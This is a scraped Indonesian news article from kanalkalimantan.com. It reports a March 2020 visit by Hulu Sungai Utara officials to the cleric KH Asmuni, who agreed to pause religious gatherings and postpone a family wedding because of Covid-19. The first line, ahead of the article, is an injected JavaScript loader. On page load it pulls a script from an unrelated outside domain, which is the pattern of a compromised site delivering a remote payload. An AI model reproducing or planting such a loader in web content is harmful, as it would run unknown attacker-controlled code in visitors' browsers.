(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Bupati HSU H Abdul Wahid HK berkunjung ke kediaman ulama kharismatik KH Asmuni atau Guru Danau di Kecamatan Danau Panggang. Senin (23/3/2020) malam
Kedatangan Bupati HSU Abdul Wahid bersama Kapolres HSU AKBP Pipit Subiyanto, Dandim 1001 Letkol Inf Ali Ahmad Satriyadi dan Ketua DPRD HSU Almien Ashar Safari disambut hangat Guru Danau sekitar pukul 23.30 Wita.
Dari informasi yang dihimpun kanalkalimantan.com, kegiatan tersebut dilaksanakan dalam rangka penyampaian terkait maklumat Kapolri Nomor : Mak / 2 / III / 2020 tanggal 19 Maret 2020 tentang kepatuhan terhadap kebijakan pemerintah dalam penanganan penyebaran Virus Corona (Covid-19) kepada Guru Danau.
Bupati HSU H Abdul Wahid HK berkunjung ke kediaman ulama kharismatik KH Asmuni atau Guru Danau di Kecamatan Danau Panggang. Senin (23/3/2020) malam. Foto : hum polres hsu
Kapolres HSU melalui Kasubag Humas Polres HSU Iptu Alam Saktiswara menyebutkan, ada beberapa poin penting yang dibahas dalam pertemuan tersebut diantaranya adalah terkait dalam upaya menangkal penyebaran Covid-19 di Kabupaten HSU.
Melalui pertemuan tersebut Bupati Wahid mencoba menjelaskan agar hendaknya tidak melakukan kegiatan yang mengumpulkan orang banyak kurang lebih hingga 14 hari atau sampai dengan Lebaran.
Selain itu Bupati Wahid mengharapkan kepada Guru Danau untuk bersedia untuk tidak melaksanakan atau mengistirahatkan kegiatan majelis rutin pengajian sampai dengan batas waktu yang sudah ditentukan, atau dapat mengurangi jumlah dari jamaah yang hadir dalam setiap kegiatan.
“Sedangkan terkait acara perkawinan anak Guru Danau KH Asmuni yang direncanakan bakal digelar pada Minggu 29 Maret 2020 mendatang, akan ditunda sampai habis lebaran atau setelah 14 hari berlangsung,†katanya.
Kapolres HSU juga meminta do’a kepada Guru Danau untuk keselamatan sekaligus bersama sama menjaga masyarakat di Kabupaten HSU.
Polres HSU mulai saat ini melakukan pembatasan dan sampai dengan pembubaran kegiatan masyarakat di tempat keramaian perkumpulan yang ada di HSU dengan maksud memutus penyebaran Covid-19.
“Ini tentunya perlu kesadaran, kepatuhan semua lapisan masyarakat termasuk dukungan dan do’a dari KH Asmuni,†ujar Kapolres.
Sementara itu, Guru Danau sendiri memahami dan mendukung pemerintah dalam kegiatan yang saat ini dilakukan untuk melindungi masyarakat khususnya di Kabupaten HSU, serta akan mengistirahatkan kegiatan minimal selama 14 hari. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.